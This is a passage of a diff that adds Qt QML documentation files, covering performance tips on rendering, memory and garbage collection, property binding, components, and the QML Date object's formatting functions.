{Dynamic Object Management in QML} for more information. + +\section2 Destroy Unused Elements + +Elements which are invisible because they are a child of a non-visible element (e.g., the +second tab in a tab-widget, while the first tab is shown) should be initialized lazily in +most cases, and deleted when no longer in use, to avoid the ongoing cost of leaving them +active (e.g., rendering, animations, property binding evaluation, etc). + +An item loaded with a Loader element may be released by resetting the "source" or +"sourceComponent" property of the Loader, while other items may be explicitly +released by calling destroy() on them. In some cases, it may be necessary to +leave the item active, in which case it should be made invisible at the very least. + +See the upcoming section on Rendering for more information on active but invisible elements. + +\section1 Rendering + +The scene graph used for rendering in QtQuick 2.0 allows highly dynamic, animated user +interfaces to be rendered fluidly at 60 FPS. There are some things which can +dramatically decrease rendering performance, however, and developers should be careful +to avoid these pitfalls wherever possible. + +\section2 Clipping + +Clipping is disabled by default, and should only be enabled when required. + +Clipping is a visual effect, NOT an optimization. It increases (rather than reduces) +complexity for the renderer. If clipping is enabled, an item will clip its own painting, +as well as the painting of its children, to its bounding rectangle. This stops the renderer +from being able to reorder the drawing order of elements freely, resulting in a sub-optimal +best-case scene graph traversal. + +Clipping inside a delegate is especially bad and should be avoided at all costs. + +\section2 Over-drawing and Invisible Elements + +If you have elements which are totally covered by other (opaque) elements, it is best to +set their "visible" property to \c false or they will be needlessly drawn. + +Similarly, elements which are invisible (e.g., the second tab in a tab widget, while the +first tab is shown) but need to be initialized at startup time (e.g., if the cost of +instantiating the second tab takes too long to be able to do it only when the tab is +activated), should have their "visible" property set to \c false, in order to avoid the +cost of drawing them (although as previously explained, they will still incur the cost of +any animations or bindings evaluation since they are still active). + +\section2 Manual Layouts + +The scene graph renderer is able to batch up certain operations to minimise the number of +OpenGL state changes required. However, this optimization is only possible for the +built-in layout elements provided by QtQuick 2.0, and cannot be applied to manual layouts. + +Therefore, application developers should use the Row, Column, Grid, GridView and ListView +elements instead of manual layouts wherever possible. + +\section1 Memory Allocation And Collection + +The amount of memory which will be allocated by an application and the way in which that +memory will be allocated are very important considerations. Aside from the obvious +concerns about out-of-memory conditions on memory-constrained devices, allocating memory +on the heap is a fairly computationally expensive operation, and certain allocation +strategies can result in increased fragmentation of data across pages. JavaScript uses +a managed memory heap which is automatically garbage collected, and this provides some +advantages but also has some important implications. + +An application written in QML uses memory from both the C++ heap and an automatically +managed JavaScript heap. The application developer needs to be aware of the subtleties +of each in order to maximise performance. + +\section2 Tips For QML Application Developers + +The tips and suggestions contained in this section are guidelines only, and may not be +applicable in all circumstances. Be sure to benchmark and analyse your application +carefully using empirical metrics, in order to make the best decisions possible. + +\section3 Instantiate and initialize components lazily + +If your application consists of multiple views (for example, multiple tabs) but only +one is required at any one time, you can use lazy instantiation to minimize the +amount of memory you need to have allocated at any given time. See the prior section +on \l{Lazy Initialization} for more information. + +\section3 Destroy unused objects + +If you lazily instantiate components, or dynamically create objects during a JavaScript +expression, it is often better to manually \c{destroy()} them rather than waiting for +automatic garbage collection to do so. See the prior section on +\l{Controlling Element Lifetime} for more information. + +\section3 Don't manually invoke the garbage collector + +In most cases, it is not wise to manually invoke the garbage collector, as it will block +the GUI thread for a substantial period of time. This can result in skipped frames and +jerky animations, which should be avoided at all costs. + +There are some cases where manually invoking the garbage collector is acceptable (and +this is explained in greater detail in an upcoming section), but in most cases, invoking +the garbage collector is unnecessary and counter-productive. + +\section3 Avoid complex bindings + +Aside from the reduced performance of complex bindings (for example, due to having to +enter the JavaScript execution context to perform evaluation), they also take up more +memory both on the C++ heap and the JavaScript heap than bindings which can be +evaluated by QML's optimized binding expression evaluator. + +\section3 Avoid defining multiple identical implicit types + +If a QML element has a custom property defined in QML, it becomes its own implicit type. +This is explained in greater detail in an upcoming section. If multiple identical +implicit types are defined inline in a component, some memory will be wasted. In that +situation it is usually better to explicitly define a new component which can then be +reused. + +Defining a custom property can often be a beneficial performance optimization (for +example, to reduce the number of bindings which are required or re-evaluated), or it +can improve the modularity and maintainability of a component. In those cases, using +custom properties is encouraged; however, the new type should, if it is used more than +once, be split into its own component (.qml file) in order to conserve memory. + +\section3 Re-use existing components + +If you are considering defining a new component, it's worth double checking that such a +component doesn't already exist in the component set for your platform. Otherwise, you +will be forcing the QML engine to generate and store type-data for a type which is +essentially a duplicate of another pre-existing and potentially already loaded component. + +\section3 Use module APIs instead of pragma library scripts + +If you are using a pragma library script to store application-wide instance data, +consider using a QObject module API instead. This should result in better performance, +and will result in less JavaScript heap memory being used. + +\section2 Memory Allocation in a QML Application + +The memory usage of a QML application may be split into two parts: its C++ heap usage, +and its JavaScript heap usage. Some of the memory allocated in each will be unavoidable, +as it is allocated by the QML engine or the JavaScript engine, while the rest is +dependent upon decisions made by the application developer. + +The C++ heap will contain: +\list + \li the fixed and unavoidable overhead of the QML engine (implementation data + structures, context information, and so on) + \li per-component compiled data and type information, including per-type property + metadata, which is generated by the QML engine depending on which modules are + imported by the application and which components the application loads + \li per-object C++ data (including property values) plus a per-element metaobject + hierarchy, depending on which components the application instantiates + \li any data which is allocated specifically by QML imports (libraries) +\endlist + +The JavaScript heap will contain: +\list + \li the fixed and unavoidable overhead of the JavaScript engine itself (including + built-in JavaScript types) + \li the fixed and unavoidable overhead of our JavaScript integration (constructor + functions for loaded types, function templates, and so on) + \li per-type layout information and other internal type-data generated by the JavaScript + engine at runtime, for each type (see note below, regarding types) + \li per-object JavaScript data ("var" properties, JavaScript functions and signal + handlers, and non-optimized binding expressions) + \li variables allocated during expression evaluation +\endlist + +Furthermore, there will be one JavaScript heap allocated for use in the main thread, and +optionally one other JavaScript heap allocated for use in the WorkerScript thread. If an +application does not use a WorkerScript element, that overhead will not be incurred. The +JavaScript heap can be several megabytes in size, and so applications written for +memory-constrained devices may be best served to avoid using the WorkerScript element +despite its usefulness in populating list models asynchronously. + +Note that both the QML engine and the JavaScript engine will automatically generate their +own caches of type-data about observed types. Every component loaded by an application +is a distinct (explicit) type, and every element (component instance) which defines its +own custom properties in QML is an implicit type. Any element (instance of a component) +which does not define any custom properties is considered by the JavaScript and QML engines +to be of the type explicitly defined by the component, rather than its own implicit type. + +Consider the following example: +\qml +import QtQuick 2.0 + +Item { + id: root + + Rectangle { + id: r0 + color: "red" + } + + Rectangle { + id: r1 + color: "blue" + width: 50 + } + + Rectangle { + id: r2 + property int customProperty: 5 + } + + Rectangle { + id: r3 + property string customProperty: "hello" + } + + Rectangle { + id: r4 + property string customProperty: "hello" + } +} +\endqml + +In the previous example, the rectangles \c r0 and \c r1 do not have any custom properties, +and thus the JavaScript and QML engines consider them both to be of the same type. That +is, \c r0 and \c r1 are both considered to be of the explicitly defined \c Rectangle type. +The rectangles \c r2, \c r3 and \c r4 each have custom properties and are each considered +to be different (implicit) types. Note that \c r3 and \c r4 are each considered to be of +different types, even though they have identical property information, simply because the +custom property was not declared in the component which they are instances of. + +If \c r3 and \c r4 were both instances of a \c RectangleWithString component, and that +component definition included the declaration of a string property named \c customProperty, +then \c r3 and \c r4 would be considered to be the same type (that is, they would be +instances of the \c RectangleWithString type, rather than defining their own implicit type). + +\section2 In-Depth Memory Allocation Considerations + +Whenever making decisions regarding memory allocation or performance trade-offs, it is +important to keep in mind the impact of CPU-cache performance, operating system paging, +and JavaScript engine garbage collection. Potential solutions should be benchmarked +carefully in order to ensure that the best one is selected. + +No set of general guidelines can replace a solid understanding of the underlying +principles of computer science combined with a practical knowledge of the implementation +details of the platform for which the application developer is developing. Furthermore, +no amount of theoretical calculation can replace a good set of benchmarks and analysis +tools when making trade-off decisions. + +\section3 Fragmentation + +Fragmentation is a C++ development issue. If the application developer is not defining +any C++ types or plugins, they may safely ignore this section. + +Over time, an application will allocate large portions of memory, write data to that +memory, and subsequently free some portions of that memory once it has finished using +some of the data. This can result in "free" memory being located in non-contiguous +chunks, which cannot be returned to the operating system for other applications to use. +It also has an impact on the caching and access characteristics of the application, as +the "living" data may be spread across many different pages of physical memory. This +in turn could force the operating system to swap which can cause filesystem I/O - which +is, comparatively speaking, an extremely slow operation. + +Fragmentation can be avoided by utilizing pool allocators (and other contiguous memory +allocators), by reducing the amount of memory which is allocated at any one time by +carefully managing object lifetimes, by periodically cleansing and rebuilding caches, +or by utilizing a memory-managed runtime with garbage collection (such as JavaScript). + +\section3 Garbage Collection + +JavaScript provides garbage collection. Memory which is allocated on the JavaScript +heap (as opposed to the C++ heap) is owned by the JavaScript engine. The engine will +periodically collect all unreferenced data on the JavaScript heap, and if fragmentation +becomes an issue, it will compact its heap by moving all "living" data into a contiguous +region of memory (allowing the freed memory to be returned to the operating system). + +\section4 Implications of Garbage Collection + +Garbage collection has advantages and disadvantages. It ensures that fragmentation is +less of an issue, and it means that manually managing object lifetime is less important. +However, it also means that a potentially long-lasting operation may be initiated by the +JavaScript engine at a time which is out of the application developer's control. Unless +JavaScript heap usage is considered carefully by the application developer, the frequency +and duration of garbage collection may have a negative impact upon the application +experience. + +\section4 Manually Invoking the Garbage Collector + +An application written in QML will (most likely) require garbage collection to be +performed at some stage. While garbage collection will be automatically triggered by +the JavaScript engine when the amount of available free memory is low, it is occasionally +better if the application developer makes decisions about when to invoke the garbage +collector manually (although usually this is not the case). + +The application developer is likely to have the best understanding of when an application +is going to be idle for substantial periods of time. If a QML application uses a lot +of JavaScript heap memory, causing regular and disruptive garbage collection cycles +during particularly performance-sensitive tasks (for example, list scrolling, animations, +and so forth), the application developer may be well served to manually invoke the +garbage collector during periods of zero activity. Idle periods are ideal for performing +garbage collection since the user will not notice any degradation of user experience +(skipped frames, jerky animations, and so on) which would result from invoking the garbage +collector while activity is occurring. + +The garbage collector may be invoked manually by calling \c{gc()} within JavaScript. +This will cause a comprehensive collection and compaction cycle to be performed, which +may take from between a few hundred to more than a thousand milliseconds to complete, and +so should be avoided if at all possible. + +\section3 Memory vs Performance Trade-offs + +In some situations, it is possible to trade-off increased memory usage for decreased +processing time. For example, caching the result of a symbol lookup used in a tight loop +to a temporary variable in a JavaScript expression will result in a significant performance +improvement when evaluating that expression, but it involves allocating a temporary variable. +In some cases, these trade-offs are sensible (such as the case above, which is almost always +sensible), but in other cases it may be better to allow processing to take slightly longer +in order to avoid increasing the memory pressure on the system. + +In some cases, the impact of increased memory pressure can be extreme. In some situations, +trading off memory usage for an assumed performance gain can result in increased page-thrash +or cache-thrash, causing a huge reduction in performance. It is always necessary to benchmark +the impact of trade-offs carefully in order to determine which solution is best in a given +situation. + +For in-depth information on cache performance and memory-time trade-offs, please see +Ulrich Drepper's excellent article "What Every Programmer Should Know About Memory" +(available at http://ftp.linux.org.ua/pub/docs/developer/general/cpumemory.pdf as at 18th +April 2012), and for information on C++-specific optimizations, please see Agner Fog's +excellent manuals on optimizing C++ applications (available at +http://www.agner.org/optimize/ as at 18th April 2012). + +*/ diff --git a/src/qml/doc/src/propertybinding.qdoc b/src/qml/doc/src/propertybinding.qdoc new file mode 100644 index 0000000000..3c764c4df3 --- /dev/null +++ b/src/qml/doc/src/propertybinding.qdoc @@ -0,0 +1,362 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-properties.html +\ingroup qml-features +\title Properties and Property Binding in QML +\brief declaring and binding properties + +\section1 Properties + +QML components have \e properties that can be read and modified by other objects. +In QML, properties serve many purposes but their main function is to hold to +values. Values may be a \l{QML Basic Types}{basic type}, or other QML elements. + +The syntax for properties is: + +\tt{[default] property <type> <name>[: defaultValue]} + +Elements already possess useful properties but, to create custom properties, +precede the property name with the keyword \c property. + +\snippet doc/snippets/qml/properties.qml parent begin +\snippet doc/snippets/qml/properties.qml inherited properties +\snippet doc/snippets/qml/properties.qml custom properties +\snippet doc/snippets/qml/properties.qml parent end + +QML property rules coincide with many of JavaScript's property rules, for example, +property names must begin with a lowercase letter. +\l {JavaScript Reserved Words}{JavaScript reserved words} are not valid property +names. + +\section1 Property Binding + +Property binding is a declarative way of specifying the value of a property. Binding allows +a property's value to be expressed as an JavaScript expression that defines the value relative +to other property values or data accessible in the application. The property value is +automatically kept up to date if the other properties or data values change. + +Property bindings are created in QML using the colon "\c {:}" before the value: +\snippet doc/snippets/qml/properties.qml property binding +The property binding causes the width of the \c Rectangle to update whenever the +\c {parent}'s width changes. + +QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be +used as a property binding. Bindings can access object properties, make function calls and even +use built-in JavaScript objects such as \c {Date} and \c {Math}. +\snippet doc/snippets/qml/properties.qml JavaScript sample + +While syntactically bindings can be of arbitrary complexity, if a binding starts to become +overly complex - such as involving multiple lines, or imperative loops - it may be better +to refactor the component entirely, or at least factor the binding out into a separate +function. + +\keyword qml-javascript-assignment +\section1 Property Assignment versus Property Binding + +When working with both QML and JavaScript, it is important to differentiate between +QML property binding and JavaScript value assignment. In QML, a property +binding is created using the colon "\c {:}". +\snippet doc/snippets/qml/properties.qml property binding +The property binding causes the width of the \c Rectangle to update whenever the +\c {parent}'s width changes. + +Assigning a property value (using the equals sign "\c {=}") does not create a +property binding (unless explicitly assigned, see below). +\snippet doc/snippets/qml/properties.qml property assignment + +Instead of creating a property binding, the assignment simply sets the \c Rectangle +\c width value to a number when the \c Component.onCompleted code is invoked. + +Assigning a value to a property that is already bound will remove the previous binding. +A property can only have one value at a time (a list of property is one value), +and if any code explicitly re-sets this value, the property binding is removed. + +\section1 Binding to JavaScript Functions + +The \c{property : value} syntax for property binding is QML-specific and cannot +be used in JavaScript. Instead, to bind a property from JavaScript, assign the +result returned by the \c{Qt.binding()} function to the property. This will cause +a binding assignment on the specified property. The following code correctly creates +the binding in JavaScript rather than QML: + +\qml +Item { + width: 100 + + Component.onCompleted: { + height = Qt.binding(function() { return width * 2 }) + } +} +\endqml + +When creating a property binding from JavaScript, QML allows the use of the \c +this keyword to refer to the object to which the property binding will be +assigned. This allows one to explicitly refer to a property within an object +when there may be ambiguity about the exact property that should be used for the +binding. + +For example, the \c Component.onCompleted handler below is defined within the +scope of the \l Item, and references to \c width within this scope would refer +to the \l Item's width, rather than that of the \l Rectangle. To bind the \l +Rectangle's \c height to its own \c width, the function passed to Qt.binding() +needs to explicitly refer to \c this.width rather than just \c width. + +\qml +Item { + width: 500 + height: 500 + + Rectangle { + id: rect + width: 100 + color: "yellow" + } + + Component.onCompleted: { + rect.height = Qt.binding(function() { return this.width * 2 }) + console.log("rect.height = " + rect.height) // prints 200 + } +} +\endqml + +In this case, the function could also have referred to \c rect.width rather than +\c this.width. + +Note that the value of \c this is not defined outside of its use in property binding. +See \l {QML JavaScript Restrictions} for details. + +The \l{Binding} element provides more control for binding properties with +JavaScript code. + +\section1 Types of Properties + +Properties may bind to different types, but they are are \e type-safe. That is, +properties only allow you to assign a value that matches the property type. For +example, if a property is a real, and if you try to assign a string to it you +will get an error. + +\badcode +property real volume: "four" //generates an error +\endcode + +Certain properties bind to more complex types such as other elements and objects. + +\keyword qml-basic-property-types +\section2 Basic Property Types + +Basic types such as \l int, \l real, and other Qt structures may be bound to +properties. For a list of types, visit the \l {QML Basic Types} document. + +\section2 Elements and Objects as Property Values + +Many properties bind to objects. For example, the \l Item element has a +\c states property that can bind to \l State elements. This type of property +binding allows elements to carry additional non-children elements. \c Item's +\c transitions property behaves in a similar way; it can bind to \l Transition +elements. + +Care must be taken when referring to the parent of an object property binding. +Elements and components that are bound to properties are not necessarily set +as children of the properties' component. + +\snippet doc/snippets/qml/properties.qml object binding +The code snippet has a \l Gradient element that attempts to print its parent's +\c width value. However, the \c Gradient element is bound to the \c gradient +property, not the \c children property of the \c Rectangle. As a result, the +\c Gradient does not have the \c Rectangle as its parent. Printing the value +of \c{parent.width} generates an error. Printing the \c Rectangle object's +first child's \c name will print \c {childrectangle} because the second +\c Rectangle is bound to the \c children property. + +For more information about the \c children property, please read the +\l {Default Properties} section. + +\keyword attached-properties +\section2 Attached Properties + +Certain objects provide additional properties by \e attaching properties to other +objects. For example, the \l Keys element have properties that can \e attach to other QML +objects to provide keyboard handling. + +\snippet doc/snippets/qml/properties.qml list attached property +The element \l ListView provides the delegate, \c listdelegate, the property +\c isCurrentItem as an attached property. The \c ListView.isCurrentItem +\e{attached property} provides highlight information to the delegate. +Effectively, the \l ListView element attaches the \c ListView.isCurrentItem +property to each delegate it creates. + +\keyword attached-signalhandlers +\section2 Attached Signal Handlers + +\e {Attached signal handlers} are similar +to \l{Attached Properties}{attached properties} in that they attach to objects +to provide additional functionality to objects. Two prominent elements, +\l Component and \l Keys element provide +\l{QML Signal and Handler Event System}{signal handlers} as attached signal +handlers. +\snippet doc/snippets/qml/properties.qml attached signal handler + +Read the \l{QML Signal and Handler Event System} and the \l{Keyboard Focus in QML} +articles for more information. + +\section2 List properties + +Some properties may accept a binding to a list property, where more than one +component can bind to the property. List properties allow multiple +\l {State}{States}, \l {Gradient}{Gradients}, and other components to bind to a +single property. +\snippet doc/snippets/qml/properties.qml list property +The list is enclosed in square brackets, with a comma separating the +list elements. In cases where you are only assigning a single item to a +list, you may omit the square brackets. +\snippet doc/snippets/qml/properties.qml single property + +To access the list, use the \c index property. +\snippet doc/snippets/qml/properties.qml print list property +The snippet code simply prints the name of the first state, \c FETCH. + + See the \l{list}{list type} documentation +for more details about list properties and their available operations. + +\keyword qml-grouped-properties +\section2 Grouped Properties + +In some cases properties form a logical group and use either the \e dot notation +or \e group notation. + +Grouped properties may be written both ways: +\snippet doc/snippets/qml/properties.qml grouped properties + +In the element documentation grouped properties are shown using the dot notation. + +\section2 Property Aliases + +Unlike a property definition, which allocates a new, unique storage space for +the property, a property alias connects the newly declared property, called the +\e{aliasing property} as a direct reference to an existing property, the +\e{aliased property}. Read or write operations on the aliasing property results +in a read or write operations on the aliased property, respectively. + +A property alias declaration is similar to an ordinary property definition: + +\tt{[default] property alias <name>: <alias reference>} + +As the aliasing property has the same type as the aliased property, an explicit +type is omitted, and the special \c alias keyword is before the property name. +Instead of a default value, a property alias has a compulsory alias reference. +Accessing the aliasing property is similar to accessing a regular property. In +addition, the optional \c default keyword indicates that the aliasing property +is a \l{Default Properties}{default property}. + +\snippet doc/snippets/qml/Button.qml property alias +When importing the component as a \c Button, the \c buttonlabel is directly +accessible through the \c label property. +\snippet doc/snippets/qml/properties.qml alias usage +In addition, the \c id property may also be aliased and referred outside the +component. +\snippet doc/snippets/qml/Button.qml parent begin +\snippet doc/snippets/qml/Button.qml id alias +\snippet doc/snippets/qml/Button.qml parent end +The \c imagebutton component has the ability to modify the child \l Image object + and its properties. +\snippet doc/snippets/qml/properties.qml image alias + +Using aliases, properties may be exposed to the +\l{qml-top-level-component}{top level component}. Exposing properties to the +top-level component allows components to have interfaces similar to Qt widgets. + +\section3 Considerations for property aliases + +Aliases are only activated once the component +\l{Component::onCompleted}{completes} its initialization. An error is generated +when an uninitialized alias is referenced. Likewise, aliasing an aliasing +property will also result in an error. + +\snippet doc/snippets/qml/properties.qml alias complete + +When importing the component, however, aliasing properties appear as regular Qt +properties and consequently can be used in alias references. + +It is possible for an aliasing property to have the same name as an existing +property, effectively overwriting the existing property. For example, +the following component has a \c color alias property, named the same as the built-in +\l {Rectangle::color} property: + +\snippet doc/snippets/qml/properties.qml alias overwrite + +Any object that use this component and refer to its \c color property will be +referring to the alias rather than the ordinary \l {Rectangle::color} property. +Internally, however, the \c coloredrectangle can correctly set its \c color +property and refer to the actual defined property rather than the alias. + +The \l{declarative/ui-components/tabwidget}{TabWidget} example uses +aliases to reassign children to the \l ListView, creating a tab effect. + +\keyword default-properties +\section2 Default Properties + +When imported, QML components will bind declared children to their designated +\e{default properties}. The optional \c default attribute specifies a property +as the \e {default property}. For example, the State element's default property +is its \l{State::changes}{changes} property. \l PropertyChanges elements +may simply be placed as the \c{State}'s children and they will be bound to the +\c changes property. +\snippet doc/snippets/qml/properties.qml state default + +Similarly, the \l Item element's default property is its +\l{Item::data}{data} property. The \c data property manages Item's +\c children and \c resources properties. This way, different data types may be +placed as direct children of the \c Item. +\snippet doc/snippets/qml/properties.qml default property + +Reassigning a default property is useful when a component is reused. For +example, the \l{declarative/ui-components/tabwidget}{TabWidget} example uses +the \c default attribute to reassign children to the \l ListView, creating +a tab effect. + +\section1 Using the Binding Element + +In some advanced cases, it may be necessary to create bindings explicitly with +the\l Binding element. + +For example, to bind a property exposed from the \l{The QML Engine}{declarative +runtime} or \l{QmlGlobalQtObject}{Qt object}, such as the \c system.brightness +property, to a value written in QML, you could use the \l Binding element as +follows: +\snippet doc/snippets/qml/properties.qml binding element + +\section1 Changing Property Values in States + +The \l PropertyChanges element is for setting property bindings within a +\l State element to set a property binding. + +\snippet doc/snippets/qml/properties.qml PropertyChanges element +The rectangle's \c color property will bind to the \c warning component's +\c color property when its \c state is set to the \c WARNING state. +*/ diff --git a/src/qml/doc/src/qmlcomponents.qdoc b/src/qml/doc/src/qmlcomponents.qdoc new file mode 100644 index 0000000000..bf95aba72f --- /dev/null +++ b/src/qml/doc/src/qmlcomponents.qdoc @@ -0,0 +1,194 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-components.html +\ingroup qml-features +\contentspage QML Reference + +\title QML Components +\brief creating and instantiating components + +A \e component is an instantiable QML definition, typically contained in a \c +.qml file. For instance, a Button \e component may be defined in \c Button.qml +file. The \l{The QML Engine}{QML engine} may instantiate this Button +component to create Button \e objects. Alternatively, a component may be defined +inside a \l Component element. + +Moreover, the Button definition may also contain other components. A Button +component might have a Text element for its label and other components to +implement its functions. Compounding components to form new components +is the emphasis in QML. + +\keyword qml-define-components +\section1 Defining New Components + +Any snippet of QML code may become a component, by placing the code in a QML +file, whose file extension is \c .qml). A complete Button component that +responds to user input may be in a Button.qml file. +\snippet doc/snippets/qml/reusablecomponents/Button.qml document + +The component name, \c Button, matches the QML filename, \c Button.qml. +Also, the first character is in upper case. Matching the names allow +components in the same directory to be in the direct import path of the +application. The section on \l{Importing a Component} has information about +naming components with different filenames. + +Alternatively, a \l Component element may encapsulate a QML object to form a +component. +\snippet doc/snippets/qml/reusablecomponents/component.qml parent begin +\snippet doc/snippets/qml/reusablecomponents/component.qml define inline component +\snippet doc/snippets/qml/reusablecomponents/component.qml parent end + + +Components may incorporate any \l{Qt Quick}{QML feature} such as: +\list +\li \l{Property Binding in QML}{Properties} - for binding to data and functions +\li \l{JavaScript Expressions in QML}{JavaScript functions} - for performing routines and logic +\li \l{QML Signal and Handler Event System}{Signals and handlers} - t notify other +objects about events +\li \l{States} and \l{QML Animation and Transitions}{Transitions} +\li many others +\endlist +For information about these features, visit the respective overviews or the +main Qt Quick \l{Qt Quick}{reference} page. + +\keyword qml-loading-components +\section1 Loading a Component + +The initialization of inline components is different from loading a component +from a \c .qml file. + +\section2 Importing a Component + +A component defined in a \c .qml file is directly usable by declaring the name +of the component. For example, a button defined in \c Button.qml is created by +declaring a \c Button. The button is defined in the +\l {qml-define-components}{Defining New Components} section. +\snippet doc/snippets/qml/reusablecomponents/application.qml document + +Note that the component name, \c Button, matches the QML filename, \c Button.qml. +Also, the first character is in upper case. Matching the names allow +components in the same directory to be in the direct import path of the +application. + +For flexibility, a \c qmldir file is for dictating which additional components, +plugins, or directories should be imported. By using a \c qmldir file, component +names do not need to match the filenames. The \c qmldir file should, however, be +in an imported path. +\snippet doc/snippets/qml/reusablecomponents/qmldir document + +\section2 Loading an Inline Component + +A consequence of inline components is that initialization may be deferred or +delayed. A component may be created during a MouseArea event or by using a +\l Loader element. The component can create an object, which is addressable in a +similar way as an \l {qml-id}{identifier}. Thus, the created object may +have its bindings set and read like a normal QML object. +\snippet doc/snippets/qml/reusablecomponents/component.qml define inline component +\snippet doc/snippets/qml/reusablecomponents/component.qml create inline component + +\keyword qml-component-properties +\section1 Component Properties + +Initializing a component, either from a .qml file or initializing an inline +component, have several properties to facilitate component execution. +Specifically, there are \l{attached-properties}{attached properties} and +\l{attached-signalhandlers}{attached signal handlers} for setting properties +during the lifetime of a component. + +The \c{Component.onCompleted} attached signal handler is called when the +component completes initialization. It is useful for executing any commands +after component initialization. Similarly, the \c{Component.onDestruction} +signal handler executes when the component finishes destruction. + +\keyword qml-top-level +\section1 Top-Level Component + +Choosing the \e{top-level} or the \e{root} object of components is an important +design aspect because the top-level object dictates which properties are +accessible outside the component. Some elements are not visual elements and +will not have visual properties exposed outside the component. Likewise, some +elements add functionality that are not available to visual elements. + +Consider the Button component from the +\l{qml-define-components}{Defining New Components} section; it's top-level +object is a \l Rectangle. When imported, the Button component will possess the +Rectangle's properties, methods, signals, and any custom properties. + +\snippet doc/snippets/qml/reusablecomponents/Button.qml parent begin +\snippet doc/snippets/qml/reusablecomponents/Button.qml ellipses +\snippet doc/snippets/qml/reusablecomponents/Button.qml properties +\snippet doc/snippets/qml/reusablecomponents/Button.qml ellipses +\snippet doc/snippets/qml/reusablecomponents/Button.qml parent end + +The Button's \c text alias is accessible from outside the component as well as +the Rectangle's visual properties and signals such as \c x, \c y, \c anchors, +and \c states. + +Alternatively, we may choose a \l {Keyboard Focus in QML}{FocusScope} as our +top-level object. The \l FocusScope element manage keyboard focus for its +children which is beneficial for certain types of interfaces. However, since +\c FocusScopes are not visual elements, the visual properties of its child need +to be exposed. + +\snippet doc/snippets/qml/reusablecomponents/focusbutton.qml document + +\keyword qml-id +\section2 The Object Identifier + +Each QML object may be given a special unique identifier called an \c id. +No other object within the same QML component (see \l{QML Documents}) can have +the same \c id value. QML objects may then access an object using the \c id +property. +\snippet doc/snippets/qml/properties.qml id property +A component may readily access its parent's properties by using the \c parent +property. + +Note that an \c id must begin with a lower-case letter or an underscore. The +\c id cannot contain characters other than letters, numbers, underscores, and +\l {JavaScript Reserved Words}{JavaScript reserved words}. + +\section2 Child Components + +Objects or Items declared within a component can be made accessible by binding their id to a +property alias. + +\snippet doc/snippets/qml/reusablecomponents/Button.qml parent begin +\snippet doc/snippets/qml/reusablecomponents/Button.qml object alias +\snippet doc/snippets/qml/reusablecomponents/Button.qml text +\snippet doc/snippets/qml/reusablecomponents/Button.qml parent end + +The advantage of using an alias instead a property of type of the object is that the value of +the alias cannot be overridden, and members of the object can be used in property bindings when +declaring an instance of the component. +\snippet doc/snippets/qml/reusablecomponents/application.qml grouped property +If a property of type \c Text was used instead of an alias in this instance there would be no +guarantee that \c label would be initialized before the binding was attempted which would cause +the binding to fail. +*/ + diff --git a/src/qml/doc/src/qmldate.qdoc b/src/qml/doc/src/qmldate.qdoc new file mode 100644 index 0000000000..696d97ba1d --- /dev/null +++ b/src/qml/doc/src/qmldate.qdoc @@ -0,0 +1,190 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \qmlclass Date + \inqmlmodule QtQuick 2 + \brief The Date object provides date functions + + The QML Date object extends the JS Date object with + locale aware functions. + + Functions that accept a locale format may be either an enumeration + value: + \table + \row \li Locale.LongFormat \li The long version of the string; for example, returning "January" as a month name. + \row \li Locale.ShortFormat \li The short version of the string; for example, returning "Jan" as a month name. + \row \li Locale.NarrowFormat \li A special version for use when space is limited; + for example, returning "J" as a month name. Note that the narrow format might contain + the same text for different months and days or it can even be an empty string if the + locale doesn't support narrow names, so you should avoid using it for date formatting. + Also, for the system locale this format is the same as ShortFormat. + \endtable + + or a string specifying the format These expressions may be used for format dates: + \table + \header \li Expression \li Output + \row \li d \li the day as number without a leading zero (1 to 31) + \row \li dd \li the day as number with a leading zero (01 to 31) + \row \li ddd + \li the abbreviated localized day name (e.g. 'Mon' to 'Sun'). + \row \li dddd + \li the long localized day name (e.g. 'Monday' to 'Sunday'). + \row \li M \li the month as number without a leading zero (1 to 12) + \row \li MM \li the month as number with a leading zero (01 to 12) + \row \li MMM + \li the abbreviated localized month name (e.g. 'Jan' to 'Dec'). + \row \li MMMM + \li the long localized month name (e.g. 'January' to 'December'). + \row \li yy \li the year as two digit number (00 to 99) + \row \li yyyy \li the year as four digit number. If the year is negative, + a minus sign is prepended in addition. + \endtable + + All other input characters will be ignored. Any sequence of characters that + are enclosed in singlequotes will be treated as text and not be used as an + expression. Two consecutive singlequotes ("''") are replaced by a singlequote + in the output. + + Example format strings (assuming that the Date is the 20 July + 1969): + + \table + \header \li Format \li Result + \row \li dd.MM.yyyy \li 20.07.1969 + \row \li ddd MMMM d yy \li Sun July 20 69 + \row \li 'The day is' dddd \li The day is Sunday + \endtable + + These expressions may be used for formatting time: + + \table + \header \li Expression \li Output + \row \li h 